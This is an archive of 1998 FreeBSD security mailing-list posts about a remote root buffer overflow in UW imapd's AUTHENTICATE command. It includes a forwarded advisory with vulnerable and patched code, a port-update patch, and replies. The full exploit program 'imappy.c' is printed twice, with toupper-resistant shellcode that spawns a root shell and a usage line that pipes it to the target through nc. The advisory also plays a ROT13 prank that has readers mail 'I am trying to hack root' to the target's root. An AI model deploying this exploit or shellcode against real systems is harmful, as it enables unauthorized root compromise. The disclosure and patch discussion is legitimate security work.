143 *** *** where nop is the number of NOP opcodes to place at the start of the *** exploit buffer (I use 403), esp is the %esp stack pointer value, and *** offset is the number of bytes to add to esp to calculate your target *** %eip. *** *** Demonstration values for UW imapd 10.234 (part of Pine 4.00): *** *** imappy 403 0xefbfd5e8 100 (BSDI 3.0) *** imappy 403 0xefbfd4b8 100 (FreeBSD 2.2.5) *** *** THIS CODE FOR EDUCATIONAL USE ONLY IN AN ETHICAL MANNER *** *** Cheez Whiz *** cheezbeast@hotmail.com *** *** July 16, 1998 **/ #include #include #include #include #define BUFLEN (2*1024) #define NOP 0x90 char shell[] = /* 0 */ "\xeb\x34" /* jmp springboard */ /* start: */ /* 2 */ "\x5e" /* popl %esi */ /* 3 */ "\x8d\x1e" /* leal (%esi),%ebx */ /* 5 */ "\x89\x5e\x0b" /* movl %ebx,0xb(%esi) */ /* 8 */ "\x31\xd2" /* xorl %edx,%edx */ /* 10 */ "\x89\x56\x07" /* movl %edx,0x7(%esi) */ /* 13 */ "\x89\x56\x0f" /* movl %edx,0xf(%esi) */ /* 16 */ "\x89\x56\x14" /* movl %edx,0x14(%esi) */ /* 19 */ "\x88\x56\x19" /* movb %dl,0x19(%esi) */ /* 22 */ "\x31\xc0" /* xorl %eax,%eax */ /* 24 */ "\xb0\x7f" /* movb $0x7f,%al */ /* 26 */ "\x20\x46\x01" /* andb %al,0x1(%esi) */ /* 29 */ "\x20\x46\x02" /* andb %al,0x2(%esi) */ /* 32 */ "\x20\x46\x03" /* andb %al,0x3(%esi) */ /* 35 */ "\x20\x46\x05" /* andb %al,0x5(%esi) */ /* 38 */ "\x20\x46\x06" /* andb %al,0x6(%esi) */ /* 41 */ "\xb0\x3b" /* movb $0x3b,%al */ /* 43 */ "\x8d\x4e\x0b" /* leal 0xb(%esi),%ecx */ /* 46 */ "\x89\xca" /* movl %ecx,%edx */ /* 48 */ "\x52" /* pushl %edx */ /* 49 */ "\x51" /* pushl %ecx */ /* 50 */ "\x53" /* pushl %ebx */ /* 51 */ "\x50" /* pushl %eax */ /* 52 */ "\xeb\x18" /* jmp exec */ /* springboard: */ /* 54 */ "\xe8\xc7\xff\xff\xff" /* call start */ /* data: */ /* 59 */ "\x2f\xe2\xe9\xee\x2f\xf3\xe8" /* DATA (disguised /bin/sh) */ /* 66 */ "\x01\x01\x01\x01" /* DATA */ /* 70 */ "\x02\x02\x02\x02" /* DATA */ /* 74 */ "\x03\x03\x03\x03" /* DATA */ /* exec: */ /* 78 */ "\x9a\x04\x04\x04\x04\x07\x04"; /* lcall 0x7,0x0 */ char buf[BUFLEN]; unsigned long int nop, esp; long int offset; void main (int argc, char *argv[]) { int i; if (argc < 4) { printf("usage: %s nop esp offset\n", argv[0]); return; } nop = strtoul(argv[1], NULL, 0); esp = strtoul(argv[2], NULL, 0); offset = strtol(argv[3], NULL, 0); memset(buf, NOP, BUFLEN); memcpy(buf+nop, shell, strlen(shell)); for (i = nop+strlen(shell); i < BUFLEN - 4; i += 4) *((int *) &buf[i]) = esp + offset; printf("* AUTHENTICATE {%d}\r\n", BUFLEN); for (i = 0; i < BUFLEN; i++) putchar(buf[i]); printf("\r\n"); return; } To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Thu Jul 16 16:38:49 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA17101 for freebsd-security-outgoing; Thu, 16 Jul 1998 16:38:49 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from ady.warpnet.ro (ady.warpnet.ro [193.230.201.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA17088 for ; Thu, 16 Jul 1998 16:38:34 -0700 (PDT) (envelope-from ady@warpnet.ro) Received: from localhost (ady@localhost) by ady.warpnet.ro (8.8.8/8.8.8) with SMTP id CAA05925 for ; Fri, 17 Jul 1998 02:38:04 +0300 (EEST) (envelope-from ady@warpnet.ro) Date: Fri, 17 Jul 1998 02:38:04 +0300 (EEST) From: Adrian Penisoara Reply-To: Adrian Penisoara To: freebsd-security@FreeBSD.ORG Subject: Re: EMERGENCY: new remote root exploit in UW imapd In-Reply-To: <199807162206.AAA30072@basement.replay.com> Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="0-1242273055-900632284=:4014" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --0-1242273055-900632284=:4014 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi, On Fri, 17 Jul 1998, Anonymous wrote: > INTRODUCTION > > On July 10, 1998 a message was posted to the University of Washington Pine > mailing lists about a security problem in the UW imapd server released with > Pine 4.00, viewable at: > > http://www.washington.edu/pine/pine-info/1998.07/msg00062.html > > Out of curiosity, I decided to do some source code diffs to see what > changed between the patched and unpatched versions of imapd. Sure enough, > there was a *major* security hole. The message from the Pine developers > failed, however, to underscore the severity of the hole hence this security > advisory. > > The current port skeleton available at ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/mail/imap-uw is using a *vulnerable* source tarball ! I have submitted a patch today to update the port to use the latest source tarball on ftp.cac.washington.edu (grep the freebsd-ports mailing list for the "imap-uw security hole -- please update port" subject). Until then you can use the attached patch which will update the port in order to use the current source tarball. Adrian Penisoara Ady (@freebsd.ady.ro) --0-1242273055-900632284=:4014 Content-Type: APPLICATION/octet-stream; name="imap-uw-4.1f.diff.gz" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: imap-uw 4.1 FINAL port update H4sICOyLrjUCA2ltYXAtdXctNC4xZi5kaWZmAOVWa2/bNhT9LP+KWyRAt9SW rJctC/NQLZYNt7ET2NoaDAMCSqRiNnpNpOIEhfvbS0qxYxfOumEbMGCCHiTv k/cckTw7O4MZuiMxTYial/RWmeUZvKsyAAd00zUN17JAHwycVqfT2akq45IK rQT0PnQN19Bde9BonR1esg96W+9B3QM4gTlZQ5GXnEGUJwmJOBUR0yfHEOel q9AUFZ1q3Xol1H8hJZMaJfm9oiXBrmKpekg4qp2NECcQlUR8hEQZwDuUyUT6 tfTDKk/FqFIwLvv12OkUu7t5tO9BV3WzTl3r9rRuHwzT7equ4QDj5J6A/1DA 6ZOxyGc0XQZzb+YPmxxFKupPfuAJydX7yZ6gWktZKIzOvcCfXC6m/nKopIgm QnXmLQN/cbOcBnJwxXnhatp6vVbjkpCQYQHErfa5jq/Bb8JAUeJaR7zVCEXq GrEVzW55nqkEV5qMqIlQ/nWw8M6Dm+XP4+uhonJUqr/KtEFEnM4D8fiLXX5v t8EQflTLvIZXAGWDaHT+MaD+KyCNp3Pv4gWU/gxI/379j/44Ttuwt3+Od3Fx E3iLiR8MlZDFtde5M1QUWuQFVh2QjsW3qUFRkk5Y0QS7kj9vo1WaY+jbNpx+ +rB4v1ycbzRWRlrOMCm0KqMPGi7pvYDwZYX0DlV8xZoZnQBfUQZlJagQVWVJ Mp48AmXZaw4REnTBkJdQMYLbEJIIiRZQ/ppBlnNgVRzTiAob4HntjGaMCyv4 WDExtiKgIqhphjIMEhF11QaWw5oAW+VVgmWcrRHKHrnEAxAH0X/VcLnfNqwt mf9a7U4Oinfyf6veMSYag7a5Y6K4cd55sndFTzn9NJ0vA1nlkRd4m70qRJ0o kalqCQ23bZXlqqHqQutq4Y+n1xspbHWkm4vR+eV8PJ1soJN+JT8Ic7W4nCy8 2X6kGsLmfWhJHkj0bWtJhPpt/D1z85i5JKThtE2zIeSxCptO2zKaCktts9e2 zC19FeWQVntTVZ1oL16KMvk42jOf9/IWnN+I/eSIv132L/prZK03IO4iZ/wZ /jffxE3cKs2ipMIEfpBLntxV1PTux3rikqhMS7HdnD+Wgob1+aMHYom3u7uT hazKTlcJVlVzAOmB0a3VnD84gDR1FYv6yIbvDnbuZpX+HoZgDWzSj7GDY72L I9PpYtvu6whZ4YD0Yhw2q0oDydee6u3l2RUKQyeO+70Io16v69j9CBmWaDum 08eWEbe+AAP+ghN3CQAA --0-1242273055-900632284=:4014-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Thu Jul 16 17:39:05 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA24693 for freebsd-security-outgoing; Thu, 16 Jul 1998 17:39:05 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from bangkok.office.cdsnet.net (bangkok.office.cdsnet.net [204.118.245.23]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA24688 for ; Thu, 16 Jul 1998 17:38:55 -0700 (PDT) (envelope-from cts@bangkok.office.cdsnet.net) Received: (from cts@localhost) by bangkok.office.cdsnet.net (8.8.8/8.8.5) id RAA05041; Thu, 16 Jul 1998 17:35:04 -0700 (PDT) Date: Thu, 16 Jul 1998 17:35:04 -0700 (PDT) Message-Id: <199807170035.RAA05041@bangkok.office.cdsnet.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit From: Craig Spannring To: Anonymous Cc: bugtraq@netspace.org, cert@cert.org, freebsd-security@FreeBSD.ORG, security@bsdi.com Subject: Re: EMERGENCY: new remote root exploit in UW imapd In-Reply-To: <199807162206.AAA30072@basement.replay.com> References: <199807162206.AAA30072@basement.replay.com> X-Mailer: VM 6.31 under Emacs 20.2.1 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Anonymous writes: > the saved instruction pointer on the stack is > overwritten with a altered value that can result in the execution of > arbitrary machine code, due to coding errors in the IMAP server. ^^^^^^^^^^^^^ Strictly speaking, this is true. However the defect goes far deeper than a simple coding error. > > COMMENTARY > > In some ways, it is depressing to find this new hole. Programmers are > still making the same mistakes they have made for years. Doesn't anyone > learn from the past? Can strcpy() ever be used safely? Perhaps the > software development community, and certainly those writing network service > daemons that run as root, should discontinue using *any* C library > functions that do not include bounds checking information, such as > sprintf(), strcat(), and strcpy(). Yes, they *can* be used safely but the > potential for misuse is too great. When will we learn? When? C should not be used for trusted programs. The lack of true arrays with array bounds checking alone makes it too hazardous. How many buffer overflow attacks would we hear about if the trusted server programs were written using a language with bounds checking like Modula-2 or Ada? Zero. The Internet is becoming a critical part of society. Can we afford to rely on an inherently dangerous programing language? Sometime in the not to distant future there will be a major catastrophe related to insecure Internet software. Perhaps a major bank will go broke, perhaps the stock market will be manipulated, I'm not sure about the specifics but it will happen. There will be a congressional hearing and they will ask why such a dangerous language as C was choosen. How will the industry answer that? Shortly after that software manufactuers will be held liable for security flaws if they can't show that they used safe techniques and safe languages. C will not be considered safe and using it will open you up to serious liability. You ask, "When will we learn? When?". The answer is, "Soon." -- ======================================================================= Life is short. | Craig Spannring Ski hard, Bike fast. | cts@internetcds.com --------------------------------+------------------------------------ Any sufficiently perverted technology is indistinguishable from Perl. ======================================================================= To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Thu Jul 16 18:23:26 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA00976 for freebsd-security-outgoing; Thu, 16 Jul 1998 18:23:26 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from shell6.ba.best.com (jkb@shell6.ba.best.com [206.184.139.137]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA00971 for ; Thu, 16 Jul 1998 18:23:24 -0700 (PDT) (envelope-from jkb@best.com) Received: from localhost (jkb@localhost) by shell6.ba.best.com (8.9.0/8.9.0/best.sh) with SMTP id SAA00755 for ; Thu, 16 Jul 1998 18:23:15 -0700 (PDT) X-Authentication-Warning: shell6.ba.best.com: jkb owned process doing -bs Date: Thu, 16 Jul 1998 18:23:14 -0700 (PDT) From: "Jan B. Koum " X-Sender: jkb@shell6.ba.best.com To: security@FreeBSD.ORG Subject: EMERGENCY: new remote root exploit in UW imapd (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org First pop. Now imap. -- Yan Jan Koum jkb@best.com | "Turn up the lights; I don't want www.FreeBSD.org -- The Power to Serve | to go home in the dark." ---------- Forwarded message ---------- Date: Fri, 17 Jul 1998 00:06:30 +0200 From: Anonymous To: BUGTRAQ@NETSPACE.ORG Subject: EMERGENCY: new remote root exploit in UW imapd INTRODUCTION On July 10, 1998 a message was posted to the University of Washington Pine mailing lists about a security problem in the UW imapd server released with Pine 4.00, viewable at: http://www.washington.edu/pine/pine-info/1998.07/msg00062.html Out of curiosity, I decided to do some source code diffs to see what changed between the patched and unpatched versions of imapd. Sure enough, there was a *major* security hole. The message from the Pine developers failed, however, to underscore the severity of the hole hence this security advisory. TECHNICAL DETAILS This recent hole is similar in nature to the older hole described in CERT Advisory CA-97.09 and the Secure Networks advisory of March 2, 1997 upon which the CERT advisory is based, but this is an all new hole and is *not* covered by the fixes presented in these advisories. The full text of each previous advisory can be found at: http://www.secnet.com/sni-advisories/imap.advisory.03.02.97.html http://www.cert.org/advisories/CA-97.09.imap_pop.html The previous IMAP server hole involved a stack buffer overflow condition in the processing of the IMAP LOGIN command in which arbitrary machine code can be executed by carefully crafting an overly long user name. This time the affected command is the IMAP AUTHENTICATE command, which takes one argument specifying the authentication mechanism. When a carefully crafted mechanism name that exceeds the size of a special stack buffer is presented to the IMAP server, the saved instruction pointer on the stack is overwritten with a altered value that can result in the execution of arbitrary machine code, due to coding errors in the IMAP server. The following source code discussion pertains to imapd 10.234 as distributed with Pine 4.00. The problem code appears in the mail_auth() routine in mail.c of the IMAP server source code distribution, which reads: char *mail_auth (char *mechanism,authresponse_t resp,int argc,char *argv[]) { char tmp[MAILTMPLEN]; AUTHENTICATOR *auth; /* make upper case copy of mechanism name */ ucase (strcpy (tmp,mechanism)); for (auth = mailauthenticators; auth; auth = auth->next) if (auth->server && !strcmp (auth->name,tmp)) return (*auth->server) (resp,argc,argv); return NIL; /* no authenticator found */ } The problem lies in the strcpy() call that copies the contents of mechanism to tmp which resides on the stack as an automatic variable. The tmp buffer is MAILTMPLEN bytes in size, with MAILTMPLEN defined to be 1024 in mail.h. However, the command string read from the client by the server is placed into a buffer TMPLEN bytes in size, with TMPLEN defined to be 8192 in imapd.c, thus allowing the passing of arguments to mail_auth() that greatly exceed the size of its temporary buffer. Since the IMAP server has not yet given up its root privileges at this stage of the login process, this programming oversight can be exploited to yield root compromise on the IMAP server machine. Crafting machine code to take over the IMAP server through the AUTHENTICATE command buffer overflow presents technical challenges because the buffer contents are passed through ucase() which transforms all lowercase characters to uppercase, so the exploit machine code, which typically spawns a shell, must be impervious to mangling by toupper(). The "standard" i386 BSD exploit code, however, proves to be exceptionally resilient and actually the only necessary modification proves to be protecting the lowercase characters in the string "/bin/sh" which requires only trivial modifications. Recent versions of imapd also include checks in parse_astring() in imapd.c to reject characters with the high bit (eighth bit) set, so malicious exploit code (which often contains characters greater than 0x7f and non-letter characters) must be smuggled in as a string literal argument to the AUTHENTICATE command, which proves to be only a minor difficulty. IMPACT Any remote individual with malicious intentions may gain root access to the machine running a vulnerable version of imapd, with no knowledge of any valid local usernames or passwords. As such, this matter should be treated with the utmost of seriousness. VULNERABLE SYSTEMS Initial analysis seems to indicate that versions of the UW imapd IMAP 4.1 server up through version 10.234 distributed as part of the Pine 4.00 distribution are vulnerable. Versions as old as 10.191 have been analyzed and found to be vulnerable, and it is believed that earlier versions are likely vulnerable, as well. It may be safe to assume that all versions of imapd (previous to and including the version distributed with Pine 4.00) that support the IMAP AUTHENTICATE command are vulnerable. At the present time it is not known if any UW imapd IMAP2bis servers are vulnerable to this specific hole, but they are likely vulnerable to the older LOGIN hole described in the advisories referenced above. FIX INFORMATION As a temporary emergency measure, it is recommended that all sites running vulnerable versions of imapd disable their IMAP service in /etc/inetd.conf until it is possible to upgrade to a patched version of the server. The University of Washington is currently distributing a separate version of imapd (confusingly, also numbered 10.234) outside of the Pine distribution that addresses the overflow in mail_auth(). The patched code reads: char *mail_auth (char *mechanism,authresponse_t resp,int argc,char *argv[]) { char tmp[MAILTMPLEN]; AUTHENTICATOR *auth; /* cretins still haven't given up */ if (strlen (mechanism) >= MAILTMPLEN) syslog (LOG_ALERT|LOG_AUTH,"System break-in attempt, host=%.80s", tcp_clienthost ()); else { /* make upper case copy of mechanism name */ ucase (strcpy (tmp,mechanism)); for (auth = mailauthenticators; auth; auth = auth->next) if (auth->server && !strcmp (auth->name,tmp)) return (*auth->server) (resp,argc,argv); } return NIL; /* no authenticator found */ } This patched version of imapd may be obtained at: ftp://ftp.cac.washington.edu/mail/imap.tar.Z COMMENTARY In some ways, it is depressing to find this new hole. Programmers are still making the same mistakes they have made for years. Doesn't anyone learn from the past? Can strcpy() ever be used safely? Perhaps the software development community, and certainly those writing network service daemons that run as root, should discontinue using *any* C library functions that do not include bounds checking information, such as sprintf(), strcat(), and strcpy(). Yes, they *can* be used safely but the potential for misuse is too great. When will we learn? When? I'll end my diatribe here. EXPLOIT INFORMATION What good is a security advisory without exploit information? The following code exercises the buffer overflow condition on platforms running i386 versions of BSD UNIX, such as FreeBSD or BSDI. I cannot be held responsible for the consequences of releasing this code nor can I be held responsible for results of its application. I am releasing this code to be used for ethical purposes in diagnosing and testing the associated vulnerability. Do not use this code to break into systems against the wishes of their owners. In short, be good, kids. Okay? Oh, one other thing. If you're trying to use this code and it doesn't seem to be working, type the following command at your UNIX prompt: echo "v nz gelvat gb unpx ebbg" | tr a-z n-za-m | mail root@hostname where "hostname" should be replaced with the hostname of the machine running the IMAP server. Make sure you type it exactly as listed, since every character counts. Once you've done that, try the exploit code again and it should work. Yours truly, Cheez Whiz cheezbeast@hotmail.com imappy.c ----- cut here ----- cut here ----- cut here ----- cut here ----- /** *** i386 BSD remote root exploit for UW imapd IMAP 4.1 server *** *** This is *not* the same bug addressed in CERT Advisory CA-97.09! *** *** Usage: % (imappy nop esp offset; cat) | nc hostname 143 *** *** where nop is the number of NOP opcodes to place at the start of the *** exploit buffer (I use 403), esp is the %esp stack pointer value, and *** offset is the number of bytes to add to esp to calculate your target *** %eip. *** *** Demonstration values for UW imapd 10.234 (part of Pine 4.00): *** *** imappy 403 0xefbfd5e8 100 (BSDI 3.0) *** imappy 403 0xefbfd4b8 100 (FreeBSD 2.2.5) *** *** THIS CODE FOR EDUCATIONAL USE ONLY IN AN ETHICAL MANNER *** *** Cheez Whiz *** cheezbeast@hotmail.com *** *** July 16, 1998 **/ #include #include #include #include #define BUFLEN (2*1024) #define NOP 0x90 char shell[] = /* 0 */ "\xeb\x34" /* jmp springboard */ /* start: */ /* 2 */ "\x5e" /* popl %esi */ /* 3 */ "\x8d\x1e" /* leal (%esi),%ebx */ /* 5 */ "\x89\x5e\x0b" /* movl %ebx,0xb(%esi) */ /* 8 */ "\x31\xd2" /* xorl %edx,%edx */ /* 10 */ "\x89\x56\x07" /* movl %edx,0x7(%esi) */ /* 13 */ "\x89\x56\x0f" /* movl %edx,0xf(%esi) */ /* 16 */ "\x89\x56\x14" /* movl %edx,0x14(%esi) */ /* 19 */ "\x88\x56\x19" /* movb %dl,0x19(%esi) */ /* 22 */ "\x31\xc0" /* xorl %eax,%eax */ /* 24 */ "\xb0\x7f" /* movb $0x7f,%al */ /* 26 */ "\x20\x46\x01" /* andb %al,0x1(%esi) */ /* 29 */ "\x20\x46\x02" /* andb %al,0x2(%esi) */ /* 32 */ "\x20\x46\x03" /* andb %al,0x3(%esi) */ /* 35 */ "\x20\x46\x05" /* andb %al,0x5(%esi) */ /* 38 */ "\x20\x46\x06" /* andb %al,0x6(%esi) */ /* 41 */ "\xb0\x3b" /* movb $0x3b,%al */ /* 43 */ "\x8d\x4e\x0b" /* leal 0xb(%esi),%ecx */ /* 46 */ "\x89\xca" /* movl %ecx,%edx */ /* 48 */ "\x52" /* pushl %edx */ /* 49 */ "\x51" /* pushl %ecx */ /* 50 */ "\x53" /* pushl %ebx */ /* 51 */ "\x50" /* pushl %eax */ /* 52 */ "\xeb\x18" /* jmp exec */ /* springboard: */ /* 54 */ "\xe8\xc7\xff\xff\xff" /* call start */ /* data: */ /* 59 */ "\x2f\xe2\xe9\xee\x2f\xf3\xe8" /* DATA (disguised /bin/sh) */ /* 66 */ "\x01\x01\x01\x01" /* DATA */ /* 70 */ "\x02\x02\x02\x02" /* DATA */ /* 74 */ "\x03\x03\x03\x03" /* DATA */ /* exec: */ /* 78 */ "\x9a\x04\x04\x04\x04\x07\x04"; /* lcall 0x7,0x0 */ char buf[BUFLEN]; unsigned long int nop, esp; long int offset; void main (int argc, char *argv[]) { int i; if (argc < 4) { printf("usage: %s nop esp offset\n", argv[0]); return; } nop = strtoul(argv[1], NULL, 0); esp = strtoul(argv[2], NULL, 0); offset = strtol(argv[3], NULL, 0); memset(buf, NOP, BUFLEN); memcpy(buf+nop, shell, strlen(shell)); for (i = nop+strlen(shell); i < BUFLEN - 4; i += 4) *((int *) &buf[i]) = esp + offset; printf("* AUTHENTICATE {%d}\r\n", BUFLEN); for (i = 0; i < BUFLEN; i++) putchar(buf[i]); printf("\r\n"); return; } To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Thu Jul 16 20:05:01 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA10341 for freebsd-security-outgoing; Thu, 16 Jul 1998 20:05:01 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from beatrice.rutgers.edu (beatrice.rutgers.edu [165.230.209.143]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA10328 for ; Thu, 16 Jul 1998 20:04:59 -0700 (PDT) (envelope-from easmith@beatrice.rutgers.edu) Received: (from easmith@localhost) by beatrice.rutgers.edu (980427.SGI.8.8.8/970903.SGI.AUTOCF) id XAA03060 for freebsd-security@FreeBSD.ORG; Thu, 16 Jul 1998 23:03:33 -0400 (EDT) From: "Allen Smith" Message-Id: <9807162303.ZM3058@beatrice.rutgers.edu> Date: Thu, 16 Jul 1998 23:03:33 -0400 X-Mailer: Z-Mail (3.2.3 08feb96 MediaMail) To: freebsd-security@FreeBSD.ORG Subject: (Fwd) EMERGENCY: new remote root exploit in UW imapd Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > echo "v nz gelvat gb unpx ebbg" | tr a-z n-za-m | mail root@hostname Correction: echo "w oz gelwau gb uowa ebbg" | tr a-z n-za-m | mail root@hostname works much better. -Allen -- Allen Smith easmith@beatrice.rutgers.edu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Fri Jul 17 05:56:50 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA27084 for freebsd-security-outgoing; Fri, 17 Jul 1998 05:56:50 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from mail.aussie.org (hallam.lnk.telstra.net [139.130.54.166]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id FAA27079 for ; Fri, 17 Jul 1998 05:56:46 -0700 (PDT) (envelope-from maillist@oaks.com.au) Received: from bigbox (frankenputer.aussie.org [203.29.75.73]) by mail.aussie.org (8.9.0/8.9.0) with SMTP id WAA29844 for ; Fri, 17 Jul 1998 22:55:51 +1000 (EST) Message-Id: <199807171255.WAA29844@mail.aussie.org> From: "Hallam Oaks P/L list account" To: "freebsd-security@FreeBSD.ORG" Date: Fri, 17 Jul 1998 22:56:30 +1000 Reply-To: "Hallam Oaks P/L list account" X-Mailer: PMMail 98 Standard (2.01.1600) For Windows NT (4.0.1381;3) MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Subject: Re: Large-scale scan of SNMP ports Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Two persons privately expressed interest in a copy of the rc.firewall script that I used (which picked up the scan). It's not anything overly great, but it's well-commented and works for me. If there's any general interest from other users I'll post it to this list (assuming that's the 'done thing'). -- Chris Hallam Oaks P/L To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Fri Jul 17 07:44:14 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA25156 for freebsd-security-outgoing; Fri, 17 Jul 1998 07:44:14 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from aniwa.sky (aniwa.actrix.gen.nz [203.96.56.186]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA24933 for ; Fri, 17 Jul 1998 07:43:58 -0700 (PDT) (envelope-from andrew@squiz.co.nz) Received: from localhost (andrew@localhost) by aniwa.sky (8.8.7/8.8.7) with SMTP id CAA05073; Sat, 18 Jul 1998 02:43:19 +1200 (NZST) (envelope-from andrew@squiz.co.nz) Date: Sat, 18 Jul 1998 02:43:19 +1200 (NZST) From: Andrew McNaughton X-Sender: andrew@aniwa.sky Reply-To: andrew@squiz.co.nz To: Hallam Oaks P/L list account cc: "freebsd-security@FreeBSD.ORG" Subject: Re: Large-scale scan of SNMP ports In-Reply-To: <199807171255.WAA29844@mail.aussie.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 17 Jul 1998, Hallam Oaks P/L list account wrote: > Date: Fri, 17 Jul 1998 22:56:30 +1000 > From: Hallam Oaks P/L list account > To: "freebsd-security@FreeBSD.ORG" > Subject: Re: Large-scale scan of SNMP ports > > Two persons privately expressed interest in a copy of the rc.firewall script > that I used (which picked up the scan). It's not anything overly great, but > it's well-commented and works for me. > > If there's any general interest from other users I'll post it to this list > (assuming that's the 'done thing'). > > -- Chris > Hallam Oaks P/L I've been building up my own ruleset. So far I'm not blocking much of anything, just categorising traffic and when I'm ready I'll start changing some of the 'accept's to 'deny's. The final line in my ruleset logs anything not picked up by the other rules. I've been surprised at just how much scanning goes on. I'd be interested to see other people's scripts to the extent that they give me a better understanding of how to identify the various traffic I see. Could be that there should be some docs on the freebsd site on the subject. Maybe it's a multi-platform thing and belongs elsewhere. Probably it exists elsewhere. Probably it wouldn't have been any help when I got to wondering about that probe for a battle.net server, but it might have saved me some time in recognising the pattern of a traceroute. Andrew To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Fri Jul 17 07:53:33 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA09373 for freebsd-security-outgoing; Fri, 17 Jul 1998 07:53:33 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from mail.iserv.net (mail.iserv.net [204.177.184.19]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA09213; Fri, 17 Jul 1998 07:53:27 -0700 (PDT) (envelope-from mbehrens@iserv.net) Received: from iserv.net (wibble.iserv.net [206.114.47.48]) by mail.iserv.net (8.8.5/8.8.5) with ESMTP idi; Fri, 17 Jul 1998 10:55:01 -0400 (EDT)KAA28117; Fri, 17 Jul 1998 10:55:01 -0400 (EDT) Message-ID: <35AF653D.BABFE5F@iserv.net> Date: Fri, 17 Jul 1998 10:52:45 -0400 From: matt X-Mailer: Mozilla 4.5b1 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: Anonymous CC: BUGTRAQ@NETSPACE.ORG, security@FreeBSD.ORG Subject: Re: EMERGENCY: new remote root exploit in UW imapd References: <199807162206.AAA30072@basement.replay.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I conversed with the port maintainers of imap-uw in FreeBSD yesterday in response to an earlier message, as well as Terry Gray from UW. As a result, the imap-uw port with the CVS string $Id: Makefile,v 1.13 1998/06/07 23:01:28 steve Exp $ should be immune, as it uses the latest (and final?) imapd. If you are in doubt, comment out your imapd lines, cvsup the latest ports collection, remove and install the new. Anonymous wrote: > > INTRODUCTION > > On July 10, 1998 a message was posted to the University of Washington Pine > mailing lists about a security problem in the UW imapd server released with > Pine 4.00, viewable at: > > http://www.washington.edu/pine/pine-info/1998.07/msg00062.html > > Out of curiosity, I decided to do some source code diffs to see what > changed between the patched and unpatched versions of imapd. Sure enough, > there was a *major* security hole. The message from the Pine developers > failed, however, to underscore the severity of the hole hence this security > advisory. > > TECHNICAL DETAILS > > This recent hole is similar in nature to the older hole described in CERT > Advisory CA-97.09 and the Secure Networks advisory of March 2, 1997 upon > which the CERT advisory is based, but this is an all new hole and is *not* > covered by the fixes presented in these advisories. The full text of each > previous advisory can be found at: > > http://www.secnet.com/sni-advisories/imap.advisory.03.02.97.html > http://www.cert.org/advisories/CA-97.09.imap_pop.html > > The previous IMAP server hole involved a stack buffer overflow condition in > the processing of the IMAP LOGIN command in which arbitrary machine code > can be executed by carefully crafting an overly long user name. This time > the affected command is the IMAP AUTHENTICATE command, which takes one > argument specifying the authentication mechanism. When a carefully crafted > mechanism name that exceeds the size of a special stack buffer is presented > to the IMAP server, the saved instruction pointer on the stack is > overwritten with a altered value that can result in the execution of > arbitrary machine code, due to coding errors in the IMAP server. > > The following source code discussion pertains to imapd 10.234 as > distributed with Pine 4.00. The problem code appears in the mail_auth() > routine in mail.c of the IMAP server source code distribution, which 